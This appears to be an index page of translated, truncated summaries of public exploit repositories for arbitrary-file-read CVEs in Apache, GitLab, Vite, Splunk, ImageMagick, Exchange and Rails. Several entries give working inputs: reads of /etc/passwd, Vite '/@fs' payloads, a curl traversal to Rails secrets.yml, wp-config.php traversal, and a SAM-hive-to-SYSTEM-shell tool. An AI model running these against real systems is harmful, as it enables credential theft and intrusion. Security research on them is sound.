CVE-2021-41773

CVE-2021-41773 PoC CVE-2021-41773 - CGI가 활성화된 Apache 2.4.49 사용법 : chmod -x CVE-2021-41773.sh ./CVE-2021-41773.sh http://ip:port/ /etc/passwd 참고 자료 https://nvd.nist.gov/vuln/detail/CVE-2021-41773 https://vulners.com/cve/CVE-2021-41773...

CVE-2019-6447

️⃣ CVE-2019-6447 🖥️ -h3x0v3rl0rd- ES File Explorer 4.1.9.7.4 - 임의 파일 읽기...

CVE-2025-27817

免責事項： 本稿で説明する脆弱性およびその再現手順は、ネットワークセキュリティの研究および教育目的のみを対象としています。本稿の情報を不正な目的や無許可のシステムテストに使用することは一切禁止します。著者は、本稿の情報の使用に起因する直接的または間接的損害について一切の責任を負いません。著作権侵害が発生した場合は、速やかにご連絡ください。速やかに処理し、関連する内容を削除いたします。 ブログアドレス： https://blog.csdn.net/xc214/article/details/148698902?spm=1001.2014.3001.5501 紛伝アドレス： 25hvv...

CVE-2026-45504

CVE-2026-45504 Exchange ファイル読み取り CVE-2026-45504 Exchange ファイル読み取り 研究ブログ python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

CVE-2022-44268-Exploit

CVE-2022-44268-エクスプロイト CVE-2022-44268 用エクスプロイト 任意ファイル読み取り PoC - PNG ジェネレーター これは、https://www.metabaseq.com/imagemagick-zero-days/ によって発見された ImageMagick のバグの概念実証です。 malfile 変数を pwd/pngout.png に編集してください。 cmd を脆弱な magick インストールパスに編集してください。 参照:...

CVE-2020-10977.py

CVE-2020-10977.py 针对 GitLab 的已验证任意文件读取漏洞 CVE-2020-10977 用法： CVE-2020-10977.py -h --verifySSL -f FILELIST host token 该漏洞利用工具用于 GitLab 本地文件包含（已验证的任意文件读取 - CVE-2020-10977）。修改变量 pullfiles 以包含你想从主机获取的所有文件，或者通过文件列表提供给脚本。 位置参数： host GitLab 实例的主机名，例如 https://git.xxx.yyy token 在 GitLab 账户中生成的 API 访问令牌 可选参...

ViteVulScan

ViteVulScan 脆弱性の説明 このプロジェクトは3つの脆弱性に関連しています：CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486。これらはすべてVite開発サーバーの任意ファイル読み取り脆弱性であり、カバレッジが広く、利用が簡単で制限がありません。 脆弱性POC： CVE-2025-30208： Windows: /@fs/C://Windows/win.ini?import&raw?? Linux: /@fs/etc/passwd?import&raw?? CVE-2025-31125 Windows:...

CVE-2024-36991

CVE-2024-36991 - Splunk 경로 탐색 CVE-2024-36991에 대한 개념 증명입니다. 이 취약점을 통해 공격자는 Windows용 Splunk의 9.2.2, 9.1.5, 9.0.10 미만 버전에서 임의 파일을 읽을 수 있습니다. 사용법 Splunk 설정 파일 읽기 Splunk 파일을 읽으려면 Splunk가 실행 중인 대상 URL과 읽고자 하는 설정 파일을 전달하여 스크립트를 실행하기만 하면 됩니다. 예: python3 CVE-2024-36991.py -u 'https://example.com:8000' -f...

wordpress-true-ranker-cve-2021-39312

WordPress Plugin The True Ranker 2.2.2 - 任意ファイル読み取り CVE-2021-39312 の Python 概念実証コードです。The True Ranker seo-local-rank WordPress プラグインの ≤ 2.2.2 に影響します。 脆弱性の詳細 CVE: CVE-2021-39312 種別: 任意ファイル読み取り 影響を受けるプラグイン: The True Ranker 影響を受けるバージョン: ≤ 2.2.2 ベンダーホームページ: https://wordpress.org/plugins/seo-local-ran...

vss-fr2system

vss-fr2system Windows 上の任意ファイル読み取り（arbitrary file read）バグを SYSTEM シェルに変える2つの小さなツールです。 vssfreeze/ — 標準ユーザー として Volume Shadow Copy を作成し、それを開いたまま保持することで、SAM/SECURITY/SYSTEM ハイブを読み出す時間を確保します fr2system/ — コピーしたハイブを受け取り、ローカルの NTLM ハッシュをオフラインで復号し、SYSTEM シェルを起動します SYSTEM として実行される任意の arb-file-read...

CVE-2021-43008-AdminerRead

CVE-2021-43008 - AdminerRead Adminer 1.0から4.6.2までの任意ファイル読み取り脆弱性に対するエクスプロイトツール インストール git clone https://github.com/p0dalirius/AdminerRead cd AdminerRead sudo python3 setup.py install 使い方 脆弱なバージョン Adminer バージョン1.0から4.6.2（4.6.2を含む）までのファイル読み取り脆弱性 ➡️ 影響を受けるバージョンの詳細は、 を参照してください。 コントリビューション...

CVE-2022-44268

CVE-2022-44268 🧙‍♂️ CVE-2022-44268 ImageMagick 임의 파일 읽기 사용법 🛠 이미지 오염시키기 ☣️ python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png Upload poisoned PNG image. Check if exploit was successful 🗡 python3 CVE-2022-44268.py --url...

CVE-2023-2825

CVE-2023-2825 2023년 5월 23일, GitLab은 커뮤니티 에디션CE 및 엔터프라이즈 에디션EE 버전 16.0.0에 영향을 미치는 심각한 취약점인 CVE-2023-2825를 수정한 버전 16.0.1을 출시했습니다. 이 취약점은 인증되지 않은 사용자가 경로 탐색 버그를 통해 임의의 파일을 읽을 수 있게 합니다...

uc_httpd_exploit

uc httpd exploit lighthttpd py3で作成されたシンプルなuc httpdエクスプロイト。このエクスプロイトはCVE-2014-2324に基づいて作成されました。 説明 lighttpd 1.4.35より前のバージョンにおける、1 modevhostおよび2 modsimplevhostの複数のディレクトリトラバーサルの脆弱性により、リモートの攻撃者がホスト名内の..（ドットドット）を使用して任意のファイルを読み取ることができます。これはrequestcheckhostnameに関連しています。...

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC CheckPoint SNX VPN Linux 클라이언트를 통한 권한 있는 파일 읽기에 대한 개념 증명. 영향을 받는 버전 CheckPointVPNSNXLinux800007075.sh MD5 체크섬: 4372e9936e2dfb1d1ebcef3ed4dd7787 익스플로잇 익스플로잇을 수행하려면 -f 매개변수를 사용하여 모든 파일을 SNX 구성으로 로드하면 됩니다. 파일이 유효한 SNX 구성이 아닌 경우 오류가 발생하고 구문 오류를 표시하며, 문자열 종결자가 발견될 때까지...

CVE-2018-3760

CVE-2018-3760 Rails Asset Pipeline ディレクトリトラバーサルの脆弱性 発見者: Orange Tsai 注意 : デフォルトでは、本番モードで動作しているRailsアプリケーションは本脆弱性の影響を受けません。 エクスプロイト: curl -v http://127.0.0.1:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/config/secrets.yml%3ftype=text/yaml セキュリティ分析...

-cve-2021-46381

D-Link DAP-1620 任意ファイル読み取りの脆弱性 fofa検索クエリ："DAP-1620" && title=="D-LINK" python3 DLINL.py を使用してください...

CVE-2025-8422

CVE-2025-8422 Propovoice targetfile Examples: python3 cve-2025-8422-exploit.py https://example.com [email protected] python3 cve-2025-8422-exploit.py https://example.com [email protected] /../../../wp-config.php...

checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902: BIG-IP 버전 15.0.0부터 15.1.0.3, 14.1.0부터 14.1.2.5, 13.1.0부터 13.1.3.3, 12.1.0부터 12.1.5.1, 그리고 11.6.1부터 11.6.5.1까지는 Traffic Management User Interface TMUI 임의 파일 읽기 및 명령 실행 취약점이 있습니다. + 저자: MrCl0wn + 블로그: http://blog.mrcl0wn.com + GitHub:...

CVE-2024-28995

CVE-2024-28995 免責事項 本ツールは個人のセキュリティ研究学習のみを目的としています。本ツールの拡散または使用によって生じた直接的または間接的な結果や損害は、すべて利用者自身が負うものとし、ツール作成者は一切の責任を負いません。 version = 15.4 NAME: Serv-U - 任意ファイル読み取り USAGE: global options command command options arguments... COMMANDS: help, h Shows a list of commands or help for one command GLOBAL...